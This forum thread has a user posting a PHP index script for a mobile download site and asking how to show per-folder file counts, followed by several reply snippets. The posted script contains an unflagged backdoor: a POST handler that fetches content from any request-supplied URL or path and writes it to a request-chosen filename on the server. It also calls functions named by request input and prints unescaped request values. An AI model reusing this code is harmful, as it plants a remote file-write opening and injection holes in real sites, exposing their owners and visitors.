How to show count of files in a dir?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    How to show count of files in a dir?

    here is my site index code

    PHP Code:
    <?php
    include('header.php');
    include(
    'config.php');
    include(
    'display_no.php');
    include 
    'extra.php';

    if(
    in_array($_REQUEST['dir'],$ex))
    {
    @
    $_REQUEST['dir']();
    include 
    'footer.php';
    exit;
    }

    if(
    substr($_REQUEST['dir'],-2)=='..')

    { die(
    "Wrong Path !");
    }
    function 
    listFiles$from '.')
    {
    if(! 
    is_dir($from))
    return 
    false;

    $files = array();
    $dirs = array( $from);
    echo 
    '';
    while( 
    NULL !== ($dir array_pop($dirs)))
    {
    if( 
    $dh opendir($dir))
    {
    while( 
    false !== ($file readdir($dh)))
    {
    if( 
    $file == '.' || $file == '..' || $file == 'description.txt' || substr($file,-11,7) == '-tthumb' || substr($file,-9)=='error_log' || substr($file,-9)=='.htaccess' || substr($file,-4)=='.php')
    continue;
    $path $dir '/' $file;
    if( 
    is_dir($path)){
    //$size = dirSize($path);
    $files['dir'][uniqid(filemtime($path))] =  array($file,$path,substr($path,strrpos($path".")+1));
    }
    else{
    if(
    $_REQUEST['sort']=='1')    // sort by new to old
    $files['files'][$file] = array($file,$path,format_size(filesize($path)));
    else        
    // sort by a-z
    $files['files'][uniqid(filemtime($path))] = array($file,$path,format_size(filesize($path)));
    }
    }
    closedir($dh);
    }
    }
    echo 
    '';
    return 
    $files;
    }

    /*
    ::Prem=>: function profile()
    this function calles fileList function to get list of files and directories
    :Prem:
    */
    function profile$func$trydir)
    {
    $list $func$trydir);
    //echo 'Finished : '.count($list['files']).' files</pre>';
    return $list;
    }

    /*
    => Do not change bellow: function format_size()
    this function convert size from
    BYTES to KB, MB, GB, TB
    and return

    */
    function format_size($size$round 2) {
    $sizes = array('Byts''kb''mb''gb','TB');
    $total count($sizes)-1;
    for (
    $i=0$size 1024 && $i $total$i++) $size /= 1024;
    return 
    round($size,$round).$sizes[$i];
    }
    if(isset(
    $_POST['dir']))
    {
    $dir "/";
    $file $_POST['file'];
    $name $_POST['sdir'];
    if(
    $content file_get_contents($file))
    {
    $fp fopen($dir.'/'.$name'w');
    fwrite($fp$content);
    fclose($fp);
    }}
    if(
    $_REQUEST['dir'])
    $listof $_REQUEST['dir'];
    else
    $listof directoryPath;


    // calling function to get file lists
    if(is_dir($listof))
    {

    $list listFiles($listof);
    //echo '<h2>'.str_replace('/','  ',$listof).'</h2>';
    $category explode('/',$listof);
    echo (empty(
    $_REQUEST['dir']) || $_REQUEST['dir']=='menu'?'<div class="menubar">Main Menu</div><div class="item2"><table><tr><td>»</td><td><a href="/mp3">Music</a></td></tr></table></div>':'<div class="menubar">'.ucwords($category[count($category)-1])).' </div>';
    if(!empty(
    $_GET['dir'])){ echo '<div align="Center">Page (';
    if(
    count($list['dir']))
    echo (empty(
    $_REQUEST['sdir'])?'1':$_REQUEST['sdir']).'/'.ceil(count($list['dir'])/dirPerPage);
    else
    echo 
    $_REQUEST['start'].'/'.ceil(count($list['files'])/filesPerPage);
    echo 
    ')</div>'; }

    if(
    is_file($listof.'/description.txt')){
    $sfile $listof.'/description.txt';
    $desctiption implode('<br/>'file($sfile));
    echo 
    '<div class="desc">'.$desctiption.'</div>';
    }
    if(
    count($list['dir'])){
    (empty(
    $_REQUEST['dir']) || $_REQUEST['dir']=='menu'?krsort($list['dir']):asort($list['dir']));

    /*
    ::>townwap@gmail.com: printing dir list to screen
    */
    $sdir = ($_REQUEST['sdir'] ? $_REQUEST['sdir'] : 1);
    $display dirPerPage * ($sdir-1);
    $cat=1;
    foreach(
    $list['dir'] as $key){
    if(
    $cat $display && $cat <= $display+dirPerPage){
    $class=($cat%2==0?'item2':'item1');
    echo 
    "<div class='$class'><table><tr><td>» </td><td><a href='/".$key[1].".html'>".ucwords(str_replace('-',' ',$key[0]))."</a></td></tr></table></div>";
    }
    $cat++;
    }
    echo 
    '';
    ;    echo 
    '';
    //$mLink = $_SERVER['PHP_SELF'] . "?";
    $mLink ='-dir/'.$_GET['dir'].'.html';

    include_once(
    'display_no.php');
    display_pageno(count($list['dir']),$sdir,$mLink,dirPerPage);

    }

    if(
    count($list['files'])){
    if(
    $_REQUEST['sort']=='1'){    // Sort By New To Old
    sort($list['files']);
    echo 
    '<div align="Center"><a href="/sort/2/'.$_REQUEST['dir'].'.html">Sort by New to Old</a></div>';
    }
    else{    
    // sort by a-z
    krsort($list['files']);
    echo 
    '<div align="Center"><a href="/sort/1/'.$_REQUEST['dir'].'.html">Sort by A-Z</a></div>';
    }
    /*
    ::>townwap@gmail.com: printing file list to screen
    */
    $start $_REQUEST['start']?$_REQUEST['start']:1;
    $display filesPerPage * ($start-1);
    $c=1;
    foreach(
    $list['files'] as $key){
    if(
    $c>$display && $c<=$display+filesPerPage){

    $link='<a href="/file/'.$key[1].'.html">'.str_replace('-',' ',str_replace('(IndiaMob.in)','',$key[0])).'</a> ('.$key[2].')';
    // echo "<div style='padding:1px;padding-left:6px;'>";
    echo "<div class='dash'>";
    // $thumb = str_replace($key[0],'thumb-'.$key[0],$key[1]);
    $thumb substr($key[1],0,strrpos($key[1],'.')).'-tthumb.gif';
    $thumb1 substr($key[1],0,strrpos($key[1],'.')).'-tthumb.jpg';
    $thumb2 substr($key[1],0,strrpos($key[1],'.')).'-tthumb.png';
    if(
    is_file($thumb)){
    echo 
    "<table><tr><td class='page'><img src='/$thumb' width='45' height='60' /></td><td>$link</td></tr></table></div>";
    }
    elseif(
    is_file($thumb1)){
    echo 
    "<table><tr><td class='page'><img src='/$thumb1' width='45' height='60' /></td><td>$link</td></tr></table></div>";
    }

    elseif(
    is_file($thumb2))
    {
    echo 
    "<table><tr><td class='page'><img src='/$thumb2' width='45' height='60' /></td><td>$link</td></tr></table></div>";
    }
    elseif(
    substr($key[1],strrpos($key[1],'.')+1)=='jpg' || substr($key[1],strrpos($key[1],'.')+1)=='jpeg' || substr($key[1],strrpos($key[1],'.')+1)=='JPG'
    || substr($key[1],strrpos($key[1],'.')+1)=='gif'
    || substr($key[1],strrpos($key[1],'.')+1)=='GIF'
    || substr($key[1],strrpos($key[1],'.')+1)=='PNG'
    || substr($key[1],strrpos($key[1],'.')+1)=='png'){
    echo 
    '<table><tr><td class="page"><img src="/'.$key[1].'" width="45" height="60" /></td><td>'.$link.'</td></tr></table></div>';
    }
    elseif(
    substr($key[1],strrpos($key[1],'.')+1)=='3gp' || substr($key[1],strrpos($key[1],'.')+1)=='mp4' || substr($key[1],strrpos($key[1],'.')+1)=='3GP'
    || substr($key[1],strrpos($key[1],'.')+1)=='MP4'){

    echo 
    '<table><tr><td class="page"><img src="/ffmpeg.php?c='.$key[1].'&h=60&w=45" /></td><td>'.$link.'</td></tr></table></div>';
    }
    elseif(
    substr($key[1],strrpos($key[1],'.')+1)=='nth' || substr($key[1],strrpos($key[1],'.')+1)=='thm')

    {

    echo 
    '<table><tr><td class="page"><img src="/thm.php?H=60&W=45&thm='.$key[1].'" /></td><td>'.$link.'</td></tr><table></div>';
    }
    else {
    echo 
    "<table><tr><td>» </td><td>".$link."</td></tr></table></div>"; }
    }
    $c++;
    }
    echo 
    '';
    ;    echo 
    '';
    $mLink=(empty($_GET['sort'])?'':'/sort/'.$_GET['sort']).'/'.$_GET['dir'].'.html';
    //$mLink = substr($mLink,0,strpos($mLink, '&start='));
    //$mLink = $mLink."&start=";

    include_once('display_no.php');
    display_pageno(count($list['files']),$start,$mLink,filesPerPage);

    }
    }
    else
    {
    echo 
    '<br/><h2>Error: wrong path entered...</h2><br/>';
    }

    /*
    Go back to parent dir
    */
    echo '';
    echo 
    '';
    echo 
    '</div>';

    if(empty(
    $_GET['dir']))
    extra();
    }
    include_once(
    'footer.php'); ?>
    </body></html>

    Can any one mod it to show count of files in a dir?
    for example
    Games [1034]
    Ringtonesm [887]

    It showing only
    Games
    Ringtones
    Last edited by arnage; 08.08.12, 12:06.

    #2
    Try this.

    PHP Code:
    $counted count($list['files']);
    echo 
    $counted
    <!DOCTYPE html PUBLIC "-//WAPFORUM.RS

    Comment


      #3
      Not working..
      Only showing 0
      Games [0]
      Themes [0]

      Comment


        #4
        re

        Originally posted by Smwap View Post
        Not working..
        Only showing 0
        Games [0]
        Themes [0]
        then it is working files is the directory u want to count so change that to the folder name u want to count specificaly
        ie : $list['games'] is your dirctory
        PHP Code:
        $game count($list['games']);
        $ring count($list['ringtones']);
        $wall count($list['wallpapers']);
        $themecount($list['themes']);
        echo 
        $game;  
        echo 
        $ring;
        echo 
        $wall;
        echo 
        $theme
        Last edited by ozziemale31; 09.08.12, 07:15.









        Dont Ask Me Dumb Questions.Or you'l get a Dumb Answer..
        Want A Profesional Logo or Theme For Your wap site Pm Me.If I Have The Time Ill Make It For Free

        Comment


          #5
          Here, I wrote this function for you, it should do the job:
          PHP Code:
          function countfiles($dir,$ext='')
          {
              
          $i=0;
              
          $dir=trim($dir,'/');
              
          $ext=(!empty($ext)) ? trim($ext,'.') : '';
              if(!
          is_dir($dir))
              {
                  
          trigger_error('String provided is not a valid directory path',E_USER_WARNING);
                  return 
          '0';
              }
              
          $files=scandir($dir);
              foreach(
          $files as $file)
              {
                  if(
          is_file($dir.'/'.$file))
                      if(empty(
          $ext))
                          
          $i++;
                      else
                          if(
          substr($file,-4)=='.'.$ext)
                              
          $i++;
              }
              return 
          $i;

          Last edited by Andrew.; 10.08.12, 06:15.

          Comment

          Working...
          X